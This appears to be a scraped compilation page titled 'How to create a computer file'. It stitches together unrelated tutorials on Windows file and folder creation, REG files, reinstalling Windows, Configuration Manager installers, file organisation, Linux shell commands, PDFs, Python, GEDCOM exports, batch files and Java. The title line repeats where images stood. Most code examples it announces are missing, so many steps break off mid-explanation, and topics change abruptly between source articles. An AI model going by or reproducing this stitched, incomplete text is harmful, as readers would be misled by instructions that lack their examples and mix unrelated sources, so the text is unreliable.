How to create a computer file

By Stella | Follow | Last Updated July 27, 2021

Summary :

How to create a computer file

In Windows 11, you can use the universal method to create a new file or a new folder on your computer. But the ribbon menu in Windows 11 is changed, and there is a new feature that allows you to create a new folder or file. In this MiniTool post, we will show you how to create a new file/folder in Windows 11.

If you have joined the Windows Insider Program and in the Dev Channel, and your computer meets the basic Windows 11 system requirements, you can upgrade your system to Windows 11 Insider preview build. After that, you can enjoy the new features and improvements.

How to create a computer file

Microsoft has officially announced Windows 11 in the What’s next for Windows event. In this post, we will show you what’s new in Windows 11.

In Windows 11, you can see that there is a new right-click menu for desktop and File Explorer. The following image shows you two examples. The left one is the right-click menu of the desktop. The right one is the right-click menu in File Explorer.

How to create a computer file

Yes, you can right-click the desktop or in File Explorer and go to New to create a new file or folder in Windows 11. But, in File Explorer, you can also use a new method to do such a job. Here are two guides on how to create a file/folder in Windows 11.

How to Create a New File in Windows 11 File Explorer?

Here, we want to create a new Word file.

Use the New Button in the Ribbon Menu

  1. Open the folder you want to create a file in.
  2. Click the arrow down icon in the New folder
  3. Go to New > Microsoft Word.
  4. Name the file and click other space to complete the creation process.

How to create a computer file

Use the Universal Method

  1. Open the folder you want to create a new file in.
  2. Right-click the empty space in the folder and then go to New > Microsoft Word.
  3. Name the file and click other space to create a new Word file.

How to create a computer file

How to Create a New Folder in Windows 11 File Explorer?

Use the New Button in the Ribbon Menu

  1. Open the folder you want to create a new folder in.
  2. Click the New folder button from the top ribbon menu.
  3. A new folder will appear and you can name it according to your requirements.

How to create a computer file

Use the Universal Method

  1. Open the folder you want to create a new folder in.
  2. Right-click the empty space and go to New > Folder.
  3. Name the folder and click other space to create a new folder in Windows 11 File Explorer.

How to create a computer file

Tip: Recover Your Lost and Deleted Files/Folders in Windows 11

If you delete your important files or folders by mistake and need to get them back, you can use MiniTool Power Data Recovery. This is a free file recovery tool. You can use it to recover all kinds of files from data storage drives.

After downloading and installing this software on your computer, you can open it and select the drive you want to recover data from to scan. After scanning, you can find your needed files from the scan result and select them to recover.

How to create a computer file

Bottom Line

Now, you know how to create a new file/folder in Windows 11 File Explorer using the New folder button or using the universal method. You can just select a preferred way to do the job. Windows 11 is a new Windows operating system. If you encounter other issues when running it, you can let us know in the comments.

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How to create a computer file

Position: Columnist

Stella has been working in MiniTool Software as an English Editor for more than 4 years. Her articles mainly cover the fields of data recovery including storage media data recovery and phone data recovery, YouTube videos download, partition management, and video conversions.

You can create a text file on your computer with a text editor. An example of a text editor is Notepad, which is included with Microsoft Windows.

When we refer to a “text file” we are talking about a plain text file without any text formatting (e.g., bold), images, different fonts, font sizes, etc. If you need to create a more rich document with any of these features see: How to create a document.

The below recommendations are for programs included with an operating system. You can also download and install a more powerful and free text editor such as Notepad++ to create, view, and edit text files.

  • Open and use Notepad.
  • Save the file as a text file.
  • Create a new text file from the desktop.
  • Create a text file from the Windows command line.
  • Create a text file from within a Linux shell.

Open and use Notepad

The easiest way to create a text file in Windows is to open up the Notepad software program on your computer. The Notepad is a text editor included with Microsoft Windows.

A text file is considered a plaintext file and Notepad is only capable of creating and editing plaintext files. Notepad saves any text file with a .txt file extension, which means no special formatting or fonts can be used.

The Windows Notepad program can be opened using either of the methods below.

  1. Click Start.
  2. In the Run or Search box, type Notepad and press Enter .
  1. Click Start.
  2. Open All Programs, Accessories, then click the Notepad shortcut.

Save the file as a text file

You can also create a text file using any other word processing software program, like Microsoft Word or WordPad. When saving the file, change the file name or file type to Plain Text to save it as a text file. In many of these programs, you also have the option to save the file as a Rich Text Format.

How to create a computer file

After the file is created and saved, it can also be edited using Notepad or another word processing software program.

Create a new text file from the desktop

Another way to create a text file is to right-click an empty area on the desktop, and in the pop-up menu, select New, and then select Text Document.

Creating a text file this way opens your default text editor with a blank text file on your desktop. You can change the name of the file to anything you want. You can edit the file in the Notepad program or any other word processing software program, like Microsoft Word.

These same steps can be used in any other location on your computer, for example, another folder.

Create a text file from the Windows command line

While in the Windows command line, you also can create a new text file in the current directory. With earlier versions of Windows, a new file of any type, including text files, could be created using the edit command line command. Later versions of Windows removed the ability to use the edit command for this purpose. Instead, you can use the echo command at the Windows command line to create an empty text file in the current directory. An example of using this shown below.

In the example above, you are using the echo command to create a file named “myfile.txt” in the current directory. Note that there are no spaces between echo, the period, the greater-than sign (>), and the file name.

Another option for creating a text file from the command line is with the start command, as shown in the example below.

In this example, you are using the start command to open Notepad with the file “myfile.txt”. Assuming this file does not exist, it would be created and saved in your current directory. If the file did exist, you would be editing that file.

Create a text file from within a Linux shell

How to create a computer file

Several commands can create a text file in a Linux shell. One easy-to-use text editor is pico. You can use it like this:

After entering the command above, the editor opens and allows you to create a text file. When done, press Ctrl + X to exit the file. When prompted to save the file, if you want to keep the file, press “Y” for yes.

The .txt file extension is not required in Linux. It is a file extension most commonly found and used with Windows. If you do not need the file to open in Windows, you can have no file extension or rename it to whatever you want.

You can programmatically create a folder on your computer, create a subfolder, create a file in the subfolder, and write data to the file.


If the folder already exists, CreateDirectory does nothing, and no exception is thrown. However, File.Create replaces an existing file with a new file. The example uses an if – else statement to prevent an existing file from being replaced.

By making the following changes in the example, you can specify different outcomes based on whether a file with a certain name already exists. If such a file doesn’t exist, the code creates one. If such a file exists, the code appends data to that file.

Specify a non-random file name.

Replace the if – else statement with the using statement in the following code.

Run the example several times to verify that data is added to the file each time.

For more FileMode values that you can try, see FileMode.

The following conditions may cause an exception:

The folder name is malformed. For example, it contains illegal characters or is only white space (ArgumentException class). Use the Path class to create valid path names.

The parent folder of the folder to be created is read-only (IOException class).

The folder name is null (ArgumentNullException class).

The folder name is too long (PathTooLongException class).

The folder name is only a colon, “:” (PathTooLongException class).

.NET Security

An instance of the SecurityException class may be thrown in partial-trust situations.

If you don’t have permission to create the folder, the example throws an instance of the UnauthorizedAccessException class.

A Registration file contains data from the Windows Registry

How to create a computer file

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What to Know

  • REG files are text files: Create them within a text editor when you save a file with the .reg extension.
  • On Windows, right-click a REG file and open it with Notepad, or the text editor of your choice, to edit it.
  • To use a REG file, simply open it and its contents will be added to the Windows Registry.

A file with the .reg file extension is a Registration file used by the Windows Registry. These files can contain hives, keys, and values. These files can be created from scratch in a text editor or can be produced by the Windows Registry when backing up parts of it.

How to create a computer file

What REG Files Are Used For

There are two major ways to edit the Windows registry:

  • Open Registry Editor and then make registry changes manually.
  • Use a REG file.

Think of a REG file as a set of instructions for changing the Windows Registry. Everything in it explains the changes that should be made to the current state of the registry.

In other words, and in general, any differences between the REG file being executed and the Windows Registry will result in an addition or removal of whatever keys and values are involved.

Example REG File

For example, here are the contents of a simple 3-line REG file that adds value to a specific key in the registry. In this case, the goal is to add the data necessary for the classic fake Blue Screen of Death:

Although neither the contents of a REG file nor the keys in the Windows Registry are case sensitive, some registry values are, so keep that in mind when authoring or editing them.

How to Import/Merge/Open REG Files

To “open” a REG file could mean opening it for editing or opening it to execute it. If you want to edit one, see the section above. If you want to execute the file (actually do what the file is written to do), keep reading.

Executing means to merge it with, or import it to, the Windows Registry. You literally combine the contents of the file with the other registry keys and values that already exist. Whether your intention is to use the file to add, delete, and/or change one or more keys or values, merging/importing is the only way to do it.

Always back up the Windows Registry before merging your custom-made or downloaded REG file with it. You can skip this step if you’re restoring a previous backup with this file but please don’t forget this important step in all other cases.

To merge/import it with the Windows Registry, just double-click or double-tap the file. This process is the same no matter the contents—a previously made backup you’re restoring, a registry tweak you authored, a downloaded “fix” for a problem, etc.

Depending on how your computer is set up, you may see a User Account Control message that you need to accept in order to import the file.

If you’re sure that the file you’ve chosen is safe to add to the registry, then select Yes on the prompt that follows to confirm that that’s what you want to do. Depending on the changes that the REG file made to the Windows Registry, you may need to restart your computer.

If you need more detailed help than the quick outline we have above, see How to Restore the Registry in Windows for a more thorough how-to. That piece is focused more on the restore-from-a-backup process but in reality, it’s the same procedure as merging a REG file.

To reinstall your Windows 10 or Windows 11 on your PC, follow the steps below:

  1. Go to the Start menu search bar, type in “settings,” and select the best match.
  2. Head to System -> Recovery.
  3. Now click on Reset PC.
  4. Choose either of these two options: Keep my files or Remove everything.
  5. Follow the on-screen instructions and your PC will be reset in a few minutes.
  6. After the rest is complete, a new copy of Windows will be installed.

Facing trouble with your Windows computer? Tried everything trick in the book, but still can’t make it work normally? Don’t worry—a quick reinstall might just do the job. Now, lucky for you, there are a myriad of different ways to reinstall your Windows computer. We’ll go over all of them one by one. Let’s get started with “Reset This PC” option.

1. Reset This PC

One of the most common ways to reset a PC is through the Reset This PC option, available in the Windows Settings. Here’s how you can reinstall your Windows through Reset This PC:

  • Press the Windows key + I to open the Settings.
  • From there, click on System section.
  • Now click on Recovery .
  • From the Recovery menu, click on Reset PC .

As soon as you do this, a “Reset This PC” dialog box will pop open. From there, you can choose the following options:

  1. Keep My Files
  2. Remove Everything

How to create a computer file

If you go with Keep My Files, baring your personal files, all your apps and files in Windows will be deleted. With Remove Everything, on the other hand, everything on your PC—including your personal files—will be removed, leaving you with a clean slate of Windows.

Depending on your needs, choose either of the options and on the next screen you will get asked to either go for a Cloud download or a Local reinstall. Pick the one you’d like, and follow the instructions ahead.

Finally, you’ll be asked for confirming the reset. Click Yes and proceed with the Reset. After the reset is complete, a fresh copy of Windows 10 or Windows will be installed on your PC.

2. Reinstall your Windows from USB

Sometimes also referred to as clean install, you always have an option to reinstall your Windows 10 or Windows 11 with the help of Media Creation tool or a third-party app like Rufus.

Again, just to remind you, similar to “Reset This PC” option from above, doing a ‘clean install’ will remove all your existing files and data. So, before going ahead with it, we’d suggest you’ve solid backup in place beforehand.

To install your Windows from the USB, you’ll first need to create a bootable USB drive. Here’s how you can do that:

  1. Go to the official Microsoft Windows 10 or Windows 11 downloads page.
  2. Under the Create Windows Installation Media section, click on the Download Now button to save the files on your Windows.
  3. Launch the .exe file, select the recommended options and click on Next.
  4. Select the USB drive, and then click on Next and select Finish.

How to create a computer file

After you’ve the bootable USB drive, you now need to change the boot order. This is what will actually allow you to boot from the UBS drive. Here’s how you can get started:

  1. Go to the Windows Settings menu.
  2. Select Update & Security > Recovery.
  3. Under the Advanced startup section, click on Restart now.
  4. Now click on Troubleshoot.
  5. From there, select Advanced options > UEFI Firmware Settings options.
  6. Finally, click on Restart.

Now open the Boot page and set the boot order such that your PC boots from the USB drive.

Since you’ve changed the boot order, and you also have the bootable USB drive in your hands now, all that’s left to do is reboot your PC with the USB plugged in. Do this and your PC will boot up from USB the next time. Simply follow the on-screen instructions from here on and reinstall your Windows operating system from here.

3. Reinstall your Windows through an ISO file

If the above two methods didn’t work, don’t worry. We’ve another method in our bag of tricks, which is to reinstall your Windows through the .iso file. This method also comes handy at times when you just want to upgrade your PC and, therefore, don’t want to spend the whole time on formatting the older version of Windows.

Here’s how you can get started:

  1. Go to the official website and download the ISO file from there.
  2. Right-click on the downloaded file and click on Mount.
  3. In the File Explorer, click on This PC > Device and drives and launch the mounted virtual drive.
  4. In the Windows Setup, select Change how to set up downloads updates.
  5. From there, select Not at the moment, and click on Next.
  6. Click on Accept to continue.
  7. Click on OK to continue the installation.
  8. In the Ready to install window, select Change what to keep.
  9. Finally, click on the Install button to begin the installation process.

Now wait for a while until the installation gets complete.

Reinstalling the Windows 10 or Windows 11

Reinstalling your Windows doesn’t have to be complicated. We hope our short guide reflected that, and helped you reinstall your Windows without too many difficulties. That said, be it a reinstallation or just a simple upgrade, before you take any such big actions on your Windows, make sure you back up your data securely.

After the Deployment Type Extension file (*.cmdtx) is created, you are expected to generate a Windows Installer file (*.msi) which contains the *.cmdtx file and the UX files. The Windows Installer needs to copy the files into the correct locations and register the custom extension with the site server.

The basic contents of the Windows Installer file are shown below:

How to create a computer file

To Create the Windows Installer File (*.msi)

Generate a Windows Installer file which contains the *.cmdtx file, and UX files. The Windows Installer file will be responsible for installing the UX files in the correct locations, using the standards defined by the Admin Console team. Basically, this will involve including the following files:

UX Assembly, e.g. AdminUI.DeploymentType. .dll

This file is required and contains the UX implementation, which is then bound to the Configuration Manager console using the below XML files.

The Installer should copy this file to sms\AdminConsole\bin.

This file is required and provides the console extension for the Create Application Wizard.

The Installer should copy this file to sms\AdminConsole\XmlStorage\Extensions\Forms.

This file is required and provides the console extension for the Create Deployment Type Wizard.

The Installer should copy this file to sms\AdminConsole\XmlStorage\Extensions\Forms.

This file is required and provides the Deployment Type property page.

The Installer should copy this file to sms\AdminConsole\XmlStorage\Forms.

The Windows Installer file should contain code to invoke the DeploymentTypeExtender.Extend method, which is located in the Microsoft.ConfigurationManagement.ApplicationManagement namespace. This will then register the extension files for a given site server computer. For an administrator console computer, this will initialize the cache for that user. The Extend method call requires the *.cmdtx file created earlier.

Make a standard WqlConnectionManager connection to the site server.

Call the Extend method, passing the *cmdtx file, the ConnectionManagerBase object through an instance of ConsoleDcmConnection for the method connection parameter, and the connection path (example below).

In order to use ConsoleDcmConnection, you will need to add an assembly reference to AdminUI.DcmObjectWrapper.dll.

Client Installation (

To install the client extension files, either as part of the HandlerApplication or as a separate installation:

Compile the AppSynclet MOF file. On the client, compile the custom synclet MOF file to create the necessary instance of the CCM_AppHandler class and the corresponding instances of the CCM_HandlerSynclet classes.

Copy the handler .dll to the Configuration Manager client directory and register the .dll on the system.

The handler .dll must be compiled to match the operating system – either 32-bit or 64-bit.

How to create a computer file

How to create a computer file

Image by Jo Zixuan Zhou © The Balance 2020

Keeping your electronic documents organized can be quite a chore in today’s “wired” world.

In addition to storing documents locally on desktops, laptops or mobile devices more and more businesses are using the cloud for basic business applications and file storage.

Further complicating the storage issue is the need for many businesses to share documents between employees. Within an office, this is typically accomplished by using a file server or network attached storage device (NAS).  

If shared mobile access is required, documents can be stored in the cloud and shared by assigning access permissions.

The result of all this can be a file management nightmare with some of a person’s documents stored in the cloud and some locally, and even individual documents stored only in one place or the other.

Organization Is the Key to Electronic File Management

Wherever the documents are stored it is important to keep them organized and up-to-date. The goal of electronic file management is to ensure that you can find what you’re looking for, even if you’re looking for it years after its creation.

Most business folks have at one time or another been in the embarrassing position of having a customer call and not being able to quickly locate the relevant invoice or other important customer documents. Equally annoying is scrambling around at year-end trying to find documents pertaining to company accounts for the accountant or even worse, the taxman.

Proper organization of digital documents is especially critical in a shared environment – if one of your employees is absent (temporarily or permanently!) you should be able to easily locate any documents created or managed by that person.

The potential loss of data issues with disgruntled, departing employees is one more reason to protect your business data.

These file management tips will help you keep your files accessible:

1. Use the Default Installation Folders for Program Files

Use the default file locations when installing application programs. Under Windows, by convention application program files reside under the (Drive Letter:)->Program Files directory. Installing applications elsewhere is confusing and unnecessary.

2. One Place for All Documents

Place all documents under a single “root” folder. For a single user in a Windows environment, the default location is the My Documents folder.  

In a file sharing environment try to do the same. Create a single root folder (called “Shared Documents” for example) and store all documents in subfolders inside the root folder. Having a single location for all electronic documents makes it easier to find things and to run backups and archives.

3. Create Folders in a Logical Hierarchy

These are the drawers of your computer’s filing cabinet, so to speak. Use plain language to name your folders; you don’t want to be looking at this list of folders in the future and wondering what “TFK” or whatever other interesting abbreviation you invented means.

4. Nest Folders Within Folders

Create other folders within these main folders as need arises. For instance, a folder called “Invoices” might contain folders called “2018”, “2017” and “2016”. A folder named for a client might include the folders “customer data” and “correspondence”. The goal is to have every file in a folder rather than having a bunch of orphan files listed.

Do not create complex, deeply-layered folder structures. Wherever possible use descriptive file names instead.

5. Follow the File Naming Conventions

Some operating systems (such as Unix) do not allow spaces in file or folder names, so avoid this if your computing environment is mixed.   Instead, use the underscores as a delimiter (e.g. Doe_John_Proposal.doc.) Other characters such as / ? \ : * | ” ^ are also prohibited in file or folder names under Windows.  

Use descriptive file names for easy identification and retrieval but don’t go overboard – file/path names have length limits which vary between operating systems.

Under Windows the maximum full path length for a file (e.g. the drive letter + folder names + file name) is 260 characters.   Use common abbreviations wherever possible, such as Jan for January or Corp for Corporation.

6. Be Specific

Give electronic files logical, specific names and include dates in file names if possible. The goal when naming files is to be able to tell what the file is about without having to open it and look. So if the document is a letter to a customer reminding him that payment is overdue, call it something like “overdue_20180115”; rather than something like “letter”. How will you know who the letter is to without opening it?

If you are sharing files via email or portable devices you may want to have the file name include more specific information, since the folder information will not be included with the shared file.

For example, if your document resides in My Documents\Invoices\2017\Customers\Doe_John_20180416.doc and the file is shared or emailed all the recipient will see is the Doe_John_20170416.doc and may not be able to tell that the file is a customer invoice without opening it.

7. File as You Go

The best time to file a document is when you first create it. So get in the habit of using the “Save As” dialogue box to file your document as well as name it, putting it in the right place in the first place.

8. Order Your Files for Your Convenience

If there are folders or files that you use a lot, force them to the top of the file list by renaming them with a ! or an AA at the beginning of the file name.

9. Cull Your Files Regularly

Sometimes what’s old is obvious as in the example of the folder named “Invoices” above. If it’s not, keep your folders uncluttered by clearing out the old files.

Do not delete business related files unless you are absolutely certain that you will never need the file again. Instead, in your main collection of folders under your root folder, create a folder called “Old” or “Inactive” and move old files into it when you come across them.

10. Back up Your Files Regularly

Whether you’re copying your files onto another drive or onto tape, it’s important to set up and follow a regular back up regimen.

Good File Management Makes Finding What You Want Easy

Managing electronic documents should be part of an overall document management strategy for your business. A proper document management plan should include all aspects of handling documents, including storage, retrieval, backups, and security.

The search function is a wonderful thing but it will never match the ease of being able to go directly to a folder or file. If you follow these file management tips consistently, even if you don’t know where something is, you know where it should be – a huge advantage when it comes to finding what you’re looking for. Good file management practices will ​save your business time and money.

Home » SysAdmin » How to Create a File in Linux Using Terminal/Command Line

Creating a new file in Linux is straightforward, but there are also some surprising and clever techniques.

In this tutorial learn how to to create a file from a Linux terminal.

How to create a computer file

  • Access to a command line/terminal window (CtrlAltF2 or CtrlAltT)
  • A user account with sudo privileges (optional for some files/directories)

Creating New Linux Files from Command Line

Linux is designed to create any file you specify, even if it doesn’t already exist. One smart feature is that you can create a file directly, without needing to open an application first.

Here are a few commands for creating a file directly from the command line.

Create a File with Touch Command

The easiest way to create a new file in Linux is by using the touch command.

In a terminal window, enter the following:

This creates a new empty file named test.txt. You can see it by entering:

The ls command lists the contents of the current directory. Since no other directory was specified, the touch command created the file in the current directory.

If there’s already a file with the name you chose, the touch command will update the timestamp.

Create a New File With the Redirect Operator

A redirection operator is a name for a character that changes the destination where the results are displayed.

Right angle bracket >

This symbol tells the system to output results into whatever you specify next. The target is usually a filename. You can use this symbol by itself to create a new file:

This creates a new empty file.
Use the ls command to list the contents of the current directory and find the file test2.txt.

Create File with cat Command

The cat command is short for concatenate. It can be used to output the contents of several files, one file, or even part of a file. If the file doesn’t exist, the Linux cat command will create it.

To create an empty file using cat , enter the following:

Note the redirection operator. Typically, the command displays the contents of test2.txt on the screen. The redirection operator > tells the system to place it in the test2.txt file.

Verify that the file was created:

The system should now have test.txt, test2.txt, and test3.txt in the list.

Create File with echo Command

The echo command will duplicate whatever you specify in the command, and put the copy into a file.

Enter the following:

Verify that the file was created:

You should see the test4.txt file added to the list. Use the cat command to display the contents of the new file:

The system should display Random sample text (or whatever you entered with the echo command.)

Create File with printf Command

The printf command works like the echo command, and it adds some formatting functionality. To add a single line of text, enter:

To add two lines of text, separate each line with the \n option:

You can use the cat command on either of these files to display their contents.

Note: To use several terminal instances in a single window manager, consider using Linux screen. It enables additional features and an enhanced command line for working with Linux files.

Using Text Editors to Create a Linux File

All Linux distributions have at least one text editor. Some have multiple editors. Each editor has different strengths and features. This will show you three of the most popular.

Vi Text Editor

Vi is the oldest text editor in Linux. It was created alongside the Linux operating system for directly editing text files. Since it’s unlikely you’ll see a Linux distribution without it, it’s a safe editor to know.

To create a file using Vi, enter the following:

Your screen will change. Now you’re in the text editor. Press the letter i to switch to insert mode, then type a few words to try it out.

To save and exit press Esc 😡 and hit Enter .

How to create a computer file

Vim Text Editor

You may have noticed that the Vi editor wasn’t very user-friendly. Vim is a newer version, which stands for Vi editor, Modified.

Use vim to create a new text file:

This screen will look similar to the Vi editor screen. Press i to insert text, and type a few words. Save file and exit by entering:

(Escape, colon wq, then Enter.)

Nano Text Editor

Nano is a newer and much easier text editor to navigate.

Create a new file by entering the command:

By default, Nano puts you directly into editing mode. It also displays a helpful list of commands at the bottom of the screen.

How to create a computer file

Enter some text, then press Ctrl+O to save the changes.

Press Ctrl+X to exit the editor.

Note: Learn all you need about Nano in the Install and Use Nano in Linux article.

Now you have several options to create new files in Linux from the command line. Next, learn how to copy files and directories in Linux to manage your files more efficiently.

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How to create a computer file

The Portable Document Format, or PDF, is a universal format that allows all parties to review your content, retaining the intended design regardless of the program it was created in. There are multiple ways for you to create a PDF, both within Acrobat and within other partner products.

How to create a computer file

Create a PDF from Microsoft Office products

You may be aware that several products, including Microsoft Word, Excel, and PowerPoint, provide a Save As PDF option within their File menu. However, the Microsoft Office suite now offers an Acrobat ribbon to convert source files directly to a PDF with a click of a button. For example, the Acrobat ribbon within Microsoft Word offers Create and Share PDF, which automatically converts your Word document into a PDF and immediately opens the share settings within Acrobat for efficiency.

Alternatively, you can open Acrobat and choose any Microsoft file (DOCX, XLSX, etc.) or TXT file to save as a PDF without actually opening the Microsoft product.

How to create a computer file

Create a PDF from other Adobe products

Other Adobe programs, such as Illustrator, Photoshop, and InDesign, allow you to save or export to a PDF easily so that you can provide your intended design while maintaining universal access to your teammates or clients without them needing the software.

  • Illustrator: File > Save As contains options for you to share Illustrator documents with others while retaining file integrity as an Illustrator-compatible PDF.
  • Photoshop: File > Export exports your native PSD file as a PDF with options for reduced file sizes.
  • InDesign: File > Adobe PDF Presets contains 5 popular formats for exporting PDFs. You can also File > Export as an Interactive PDF for accessibility and other interactive formats as well.

Create a PDF from image formats

Just as you can save word processor file types to a PDF, so can you also collect different image formats like PNG, JPG, and SVG to save as a PDF. You can save these individually or in batches for proofing and portability. Pro tip: Select multiple image files from your desktop, right-click, and choose Save As PDF.

How to create a computer file

Not only can you create a PDF from within other programs, but you can also create a PDF directly from Acrobat without having to open any other program. You can access the Create PDF tools by the traditional File > Create method. Acrobat also provides Create PDF access from the Tools menu at the top of the screen, or through the convenient icons in the toolbar on the right side of the screen.

Create a PDF from a scanned document

Import files directly from your scanner. Acrobat will recognize any connected scanner and give you the option to append (add) the scanned document to an existing file or create a new one.

  1. Open Acrobat DC.
  2. Select the Create PDF tool from the right menu and choose Scanner.
  3. You can adjust your scanner settings or use the default profiles based on document type: Auto Detect Color Mode, Black and White Document, Color Document, Grayscale Document or Color Photograph.

Create PDF from your clipboard

There may be some instances where you’ll want to create a PDF from an item you copied onto your computer’s clipboard. This could be a screenshot from a web page, or an image or copy inside another program. As a general rule, if you can copy it, then you can create a PDF from it.

  1. Select and copy the content from the desired source to your clipboard.
  2. Open Acrobat DC.
  3. Select the Create PDF tool from the right menu and choose Clipboard.
  4. Acrobat will instantly create a PDF from your copied content.
  5. Save the PDF to the location of your choice.

The universal nature of PDF documents provides a standard platform that almost any user can view, on virtually any device that runs Acrobat Reader. Creating PDFs within Acrobat and other partner products means delivering consistent-looking content no matter what the source.

Summary: in this tutorial, you’ll learn how to create a new text file in Python using the open() function.

Using the open() function to create a new text file

To create a new text file, you use the open() function. The open() function has many parameters. However, we’ll focus on the first two parameters:

In this syntax, the path_to_file parameter specifies the path to the text file that you want to create.

For creating a new text file, you use one of the following modes:

  • ‘w’ – open a file for writing. If the file doesn’t exist, the open() function creates a new file. Otherwise, it’ll overwrite the contents of the existing file.
  • ‘x’ – open a file for exclusive creation. If the file exists, the open() function raises an error ( FileExistsError ). Otherwise, it’ll create the text file.

For example, the following creates a new file called readme.txt and write some text into it:

This script creates a file with the name readme.txt in the same directory where the script file locates. If you want to create a file in a specified directory e.g., docs/readme.text , you need to ensure that the docs directory exists before creating the file. Otherwise, you’ll get an exception. For example:

In this example, Python raises an exception because the docs directory doesn’t exist. Therefore, it could not create the readme.txt file in that directory. To fix the issue, you need to create the docs directory first and then create the readme.txt file in that folder.

Also, you can handle the exception using the try-except statement as follows:

If you don’t want to create a new text file in case it already exists, you can use the ‘x’ mode when calling the open() function:

How to create a computer file

Whether you’re using a stand-alone genealogy software program or an online family tree service, there are several reasons that you might want to create, or export, your file in GEDCOM format. GEDCOM files are the standard format used for sharing family tree information between programs, so are often necessary for sharing your family tree file with friends or family members, or for moving your information to a new software or service. They can be especially useful, for example, for sharing family tree information with ancestral DNA services which allow you to upload a GEDCOM file in order to help matches determine their potential common ancestor(s).

Create a GEDCOM

These instructions will work for most family tree software programs. See your program’s help file for more specific instructions.

  1. Launch your family tree program and open your genealogy file.
  2. In the top-left hand corner of your screen, click the File menu.
  3. Select either Export or Save As.
  4. Change the Save as Type or Destination drop-down box to GEDCOM or .GED.
  5. Select the location where you’d like to save your file (make sure it’s one you can easily remember).
  6. Enter a filename such as ‘powellfamilytree’ (the program will automatically add the .ged extension).
  7. Click Save or Export.
  8. Some type of confirmation box will appear stating that your export has succeeded.
  9. Click OK.
  10. If your genealogy software program does not have the ability to protect the privacy of living individuals, then use a GEDCOM privatizing/cleaning program to filter the details of living people from your original GEDCOM file.
  11. Your file is now ready to share with others.

Export From

GEDCOM files can also be exported from online ancestry member trees that you own or have shared editor access to:

  1. Log in to your account.
  2. Click on the Trees tab at the top of the page, and select the family tree you would like to export.
  3. Click on the name of your tree in the upper-left corner and then select View Tree Settings from the drop-down menu.
  4. On the Tree Info tab (the first tab), select Export Tree button under the Manage Your Tree section (bottom right).
  5. Your GEDCOM file will then be generated which may take a few minutes. Once the process is complete, click on the Download your GEDCOM file button to download the GEDCOM file to your computer.

Export From MyHeritage

GEDCOM files of your family tree can also be exported from your MyHeritage family site:

  1. Log into your MyHeritage family site.
  2. Hover your mouse cursor over the Family Tree tab to bring up a drop-down menu, and then select Manage Trees.
  3. From your the list of family trees that appears, click on Export to GEDCOM under the Actions section of the tree you would like to export.
  4. Choose whether or not to include photos in your GEDCOM and then click on the Begin the Export button.
  5. A GEDCOM file will be created and a link to it sent your email address.

Export From

Genealogy GEDCOM files can also be exported from, either of your entire family tree or for a specific profile or group of people:

  1. Log into
  2. Click on the Family tab and then click the Share Your Tree link.
  3. Select the GEDCOM export option.
  4. On the next page, select from the following options which export only the selected profile person plus the individuals in the group you have selected: Blood Relatives, Ancestors, Descendants, or Forest (which includes connected in-law trees and may take up to several days to complete).
  5. A GEDCOM file will be generated and sent to your email.

Don’t worry! When you create a genealogy GEDCOM file, the software or program creates a brand new file from the information contained in your family tree. Your original family tree file remains intact and unaltered.

By Sarah | Follow | Last Updated March 17, 2020

Summary :

How to create a computer file

Batch files are used widely by computer handyman to simplify everyday tasks, to shorten the time and save unnecessary hassle. So what is a batch file? Can you create a batch file yourself? How to run the bat file on computer? These questions will be answered below.

You’d better turn to MiniTool Solution when you want to secure data or recover lost files from PC.

How to Create a Batch File Windows 10

What is batch file?

Batch file (also known as bat file) is actually a special kind of text file with a .bat extension. You can put some commands into the batch file to turn a complex process into a simple task. In this way, the commands can be run in sequence as soon as you click on the file. In short, the bat file is a script file in DOS, OS/2 and Microsoft Windows.

People are wondering how to create a batch file easily. Therefore, this part will focus on how to make a batch file in 2 ways.

How to Create a .bat File in Microsoft Windows 10

Firstly, you need to make sure you have a text editor (Notepad or WordPad is ok) and some basic using knowledge of Command Prompt. Then, follow the steps below.

How to make a bat file (simple bat file):

Step 1. Right click on the blank area on your PC screen.

Step 2. Choose New from the menu.

Step 3. Select Text Document from the submenu.

Step 4. Double click on the New Text Document file on desktop to open Notepad window.

Step 5. Type the following content into it:


ECHO Congratulations! Your first batch file executed successfully.


Step 6. Select File from menu bar.

Step 7. Select the Save As… option.

Step 8. Type a name into the textbox after File name (add .bat extension to it) and choose a location to save the simple batch file.

Step 9. Click on the Save button to confirm.

How to create a computer file

There’s another way to open the Notepad window:

  1. Click on the Cortana search icon/box on taskbar.
  2. Type notepad and select Notepad from the result.

How to create a computer file

If you want to create an advanced Windows batch file or actionable batch file, you should also open the Notepad window -> type the corresponding content -> save it as a bat file.

How to Create a Bat File in MS-DOS

This way only works on the computers running a 32-bit version of Windows. If your system is 64 bit, please use the above steps.

Step 1. Open Windows search box and type cmd.

Step 2. Select Command Prompt from the result to open MS-DOS prompt.

Step 3. Type edit test.bat and hit Enter.

Step 4. A blue edit screen will appear. Type the following content into it:

@echo off

echo Hello this a test batch file


dir c:\windows


Step 5. Find and click File.

Step 6. Choose exit from the menu.

Step 7. Click on the Yes button to save it.

If you want to execute the test.bat file, just go back to the MS-DOS prompt -> type test -> hit Enter.

That’s all about how to create.bat files.

How to Run a Batch File

Run in file explorer:

  1. Open File Explorer on your Windows 10.
  2. Navigate to the drive and folder that include the Windows batch file.
  3. Just double click on the batch file to run it.

How to create a computer file

Run a batch file from Command Prompt:

  1. Open Windows search and type cmd.
  2. Right click on Command Prompt and choose Run as administrator.
  3. Type C:\Users\folder location\filename.bat and hit Enter.

How to create a computer file

In addition, you can run a bat file in Windows 10 on scheduled through Task Scheduler or run the batch file on startup via file explorer.

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How to create a computer file

Position: Columnist

Sarah has been working as an editor at MiniTool since she graduated from university. Sarah aims at helping users with their computer problems such as disk errors and data loss. She feels a sense of accomplishment to see that users get their issues fixed relying on her articles. Besides, she likes to make friends and listen to music after work.

In Java, creating a file is easy by using pre-defined classes and packages. There are three ways to create a file.

  • Using File.createNewFile() method
  • Using FileOutputStream class
  • Using File.createFile() method

Java File.createNewFile() method

The File.createNewFile() is a method of File class which belongs to a package. It does not accept any argument. The method automatically creates a new, empty file. The method returns a boolean value:

  • true, if the file created successfully.
  • false, if the file already exists.

When we initialize File class object, we provide the file name and then we can call createNewFile() method of the File class to create a new file in Java.

The File.createNewFile() method throws if an I/O error occurred. It also throws SecurityException if a security manager exists and its SecurityManager.checkWriter(java.lang.String) method denies write access to the file. The signature of the method is:

We can pass the file name or absolute path or relative path as an argument in the File class object. For a non-absolute path, File object tries to locate the file in the current directory.


The following example creates a new, empty text file. The first run creates music.txt successfully while on the second run it failed. We can create any type of file by changing the file extension only.


